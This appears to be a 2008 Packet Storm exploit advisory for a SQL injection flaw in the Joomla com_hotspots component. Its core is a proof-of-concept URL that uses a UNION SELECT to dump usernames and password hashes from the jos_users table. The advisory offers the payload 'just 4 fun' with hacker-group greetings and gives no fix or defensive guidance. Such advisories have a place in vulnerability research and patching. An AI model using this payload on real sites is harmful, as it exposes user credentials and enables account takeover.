joomlahotspots-sql.txt

2008-10-07T00:00:00
ID PACKETSTORM:70685
Type packetstorm
Reporter cOndemned
Modified 2008-10-07T00:00:00

Description

                                        
                                            `Name : Joomla Component com_hotspots (w) Remote SQL Injection Vulnerability  
Author : cOndemned  
Data : 07.10.2008 AD  
Greetz : sid.psycho, h07, ZaBeaTy, irk4z, Necro, str0ke, t0pP8uZz, TWT, suN8Hclf, 0in and Avantura....   
  
  
PoC :  
  
http://[host]/index.php?Itemid=53&option=com_hotspots&task=w&w=5+and+1=2+union+select+concat(username,0x3a,password)+from+jos_users--  
  
  
  
Just 4 fun  
  
  
`